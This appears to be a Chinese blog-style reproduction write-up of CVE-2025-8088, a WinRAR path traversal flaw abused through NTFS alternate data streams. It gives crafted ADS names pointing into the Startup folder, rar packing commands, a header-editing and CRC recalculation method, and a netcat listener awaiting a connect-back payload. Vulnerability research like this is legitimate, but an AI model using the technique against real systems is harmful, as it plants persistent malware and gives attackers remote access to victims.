CVE-2025-8088复现
CVE-2025-8088 WinRAR路径穿越漏洞复现
概念:
备用数据流(ADS, Alternate Data Stream)
不是单独的文件。
它是一个依附于主文件的隐藏数据流,具体来说:
- 依附性:ADS 不能独立存在,它必须依附于一个已有的 NTFS 文件(主文件)。它和主文件共享同一个文件名和 MFT 条目。
- 隐藏性:在常规的 Windows 资源管理器和大多数命令行工具(如 dir)中,ADS 是不可见的。你看到的只是主文件。
- 存储方式:它和主文件的数据都存储在同一个文件系统记录(MFT)下,但使用不同的“流”来管理数据。主文件是默认的数据流(filename: $DATA),而 ADS 是额外命名的数据流(filename:streamname)。
- 访问方式:需要使用特定的语法(主文件名:流名称)或支持 ADS 的工具(如 more < filename:streamname 或 type 命令)才能读取和操作。
ADS的用处:
- 最初ADS用于存储扩展文件源数据,比如从互联网下载一个文件后,Windows会自动创建文件名
:Zone.Identifier
这个ADS流,你双击运行这个下载的 .exe 文件时,系统看到这个 ADS,就知道“这文件来自网络”,于是弹出“是否信任此文件?”的安全警告。 - 可以用来保存MacOS上面文件的resource分叉,比如图标、自定义的元数据等,这样文件从MacOS传到Windows,再传回MacOS时,文件的内容不变化,仍然可以正常运行。
- 可以存储加密相关的信息或者用来做标记,比如标记文件是否被占用。
比如我这里有一个从互联网下载的文件:rustup-init.exe
看一看它有没有ADS流,以及ADS流的内容是什么:
可以看见有两个ADS流:
- 第一个流的名称是SmartScreen,这是Windows的smartscreen过滤器给它添加的,流的内容是Anaheim。
Anaheim(地名:阿纳海姆) 是基于Chromium
的Microsoft Edge
的版本代号。它表明这是用于下载文件的浏览器。说明这个文件下载路径是浏览器。 - 第二个流的名称是
Zone.Identifier
,存储了一些下载时的信息,比如文件来源。
我们平时新建一个文件a.txt
echo "hello" > a.txt
会写这个内容到文件里面,这个文件也是可以看见的。
但是文件名里面有冒号的时候,
echo "world" > a.txt:b.txt
我们明明创建了两个文件a.txt
和a.txt:b.txt
,但是只显示一个a.txt
,这是因为这个a.txt:b.txt
文件被识别成一个ADS(备用数据流),也就是b.txt
被当成一个ADS流附着在a.txt
文件上。
我们用dir命令就可以看见:
dir /r a.txt
说明b.txt
文件不是一个单独的文件,而是a.txt
文件的一部分了,接下来看一下它的内容:
more < a.txt:b.txt
这正是我们写给b.txt
文件的内容。
这就是NTFS
文件系统的一个特性
而winRAR在打包时有一个选项,可以把ADS流一起打包进去,如下图:
当解压的时候就会把ADS流解压出来,最终的效果也是解压出来只有一个文件,里面包含它自己的ADS流。
我们用dir /r a.txt
命令看一下解压后的a.txt
是否包含ADS流:
确实包含了我们压缩进去的ADS流
复现:
漏洞成因: 当ADS流的名称里面有`../`的时候,WinRAR会把它错误解析成路径穿越符,并且把这个ADS流当成一个独立的文件来创建,这样就可以根据这个特性来构建恶意ADS流,使得WinRAR错误解析,把恶意文件写到指定的路径。由于Windows对目录名称管理严格,文件名里面的:
和/
这样的字符都会出现问题,因此不能直接在Windows上面创建ADS流。
首先尝试使用linux的rarlinux打包后传给windows.
payload构建:
【1】创建一个新的白文件:hello.txt
echo "hello world" > hello.txt
【2】创建一个文件,伪装成hello.txt的ADS流:
echo 'MsgBox "确认CVE-2025-8088漏洞 by junxi.liu"' > 'hello.txt:\..\..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\test.vbs'
注意这里要用单引号’来包围完整的文件名,否则Start Menu
里面有空格会出错
【3】使用rarlinux打包白文件和伪装的文件:
/home/ops/poc/rar/rar a -ep1 -as -m3 "poc.rar" "hello.txt" "hello.txt:\..\..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\test.vbs"
参数-as是必须的,告诉rar要把ADS也一起打包进去
得到一个poc.rar就是最终的payload
用7-zip打开poc.rar可以看见:
里面有白文件hello.txt和hello.txt:目录说明成功了
hello.txt:目录下面就是…目录以及一堆子目录
直接看最里面的payload:
【4】继续
然而并没有成功,这是因为Windows的安全机制不允许目录名里面有/
和:
这样的特殊字符,无论WinRAR还是别的工具生成什么样的ADS流,名称里面的/
和:
都会被Windows消掉或者解析成别的。
再思考漏洞成因:是因为WinRAR错误解析了ADS流的名称,其实和Windows并没有关系,因此,只需要骗过WinRAR就行,不需要骗过Windows
这就需要:
- 创建ADS流的时候使用一些Windows允许的符号作为占位符,比如字母AAA
- 使用WinRAR压缩带ADS流的白文件
- 手动修改RAR文件头里面的占位符,替换为我们要加载的payload的路径
- 重新计算CRC校验并修改,保存RAR文件
此时获取的RAR文件才是真正的payload
实现如下:
【1】创建白文件a.txt和黑文件b.vbs
echo "hello world" > a.txt
【2】写入ADS流到a.txt,使用占位符X作为ADS名称
more <b.vbs> "a.txt:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
检查一下:
dir /r a.txt
more < a.txt:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
结果如下:
【3】使用WinRAR打包
"C:\Program Files\WinRAR\Rar.exe" a -ep -os poc.rar a.txt
(参数都是必须的,保证把ADS流打包进去)
【4】修改RAR文件内容
首先修改添加的占位符
找到STM:
后面的XXX
占位符,修改成要放恶意文件的目录
然后把多余的占位符替换成空,即00
然后重新计算CRC:
RAR压缩包采用CRC-32算法
此时我们修改了STM:
后面的占位符,也就是修改了流的名称,这个名称在Header Data
中存储,因此需要重新计算CRC
这里就需要分析RAR5.0文件结构:
RAR5.0文件的结构为:
[RAR5_SIG][Block 1][Block 2][...]
这里面的[RAR5_SIG]就是rar文件头
RAR5_SIG = b"Rar!\x1A\x07\x01\x00"
而每个block的结构为:
[CRC32 (4字节)][Header Size(Vint)][Header Data][Data]
CRC32
:校验值,对头部字段即[Header Size][Header Data]
使用CRC32算法计算得到,固定为4字节Header Size
:头部长度,记录[Header Data]
的长度,是一个Vint变长整数。Header Data
:头部数据,保存Header type
、Header flags
、Extra data size
、data size
,比如ADS
流的名称和Data
区域的长度,通常是按照顺序使用Vint变长整数来指定。Data
:实际文件数据,保存extra data
和data
。
Vint变长整数
:
每一个字节转换成二进制有8
位,第8
位作为标识符不参与计算,第8
位是1
表示这个字节属于这个Vint数
,而第8
位是0
则表示这个字节是这个Vint数
读取的最后一个字节。
比如0A
转为二进制是00001010
,第8
位也就是最左边是0
,那么这个Vint数
的值就是0001010
也就是十进制数字10
。
比如AC 02
转为二进制分别是1010 1100
和0000 0010
,第一个字节AC
的第8
位是1
表示延续,第二个字节02
的第8
位是0
表示停止,那么真正的数据位就是010 1100
和000 0010
,采用LEB128编码规则,先读的一个字节数据放在后面,因此合并的数据位是000 0010 010 1100
,也就是十进制数字300
。
因此要根据RAR5.0的文件结构来重新计算每一个block
的CRC
并且修改。
如何判断每一个block
的起始和结束呢:
官方文档:RAR5.0文件结构
修改CRC后压缩包就可以作为payload正常使用了。
这里就不演示了,可以自己写一个py脚本来修改。
注意占位符XXX不能太短,太短会导致无法完全覆盖要写的文件路径。也不能太长,因为Windows最大支持的ADS流名称长度为256。
然后搞一个真正的payload(比如connect.exe)
监听主机开一个端口:nc -lvnp 1125
rar文件被解压后,写了恶意文件到startup目录,用户登录时即自启动恶意文件,即可监听到靶机。
附上我自己的EXP工具图: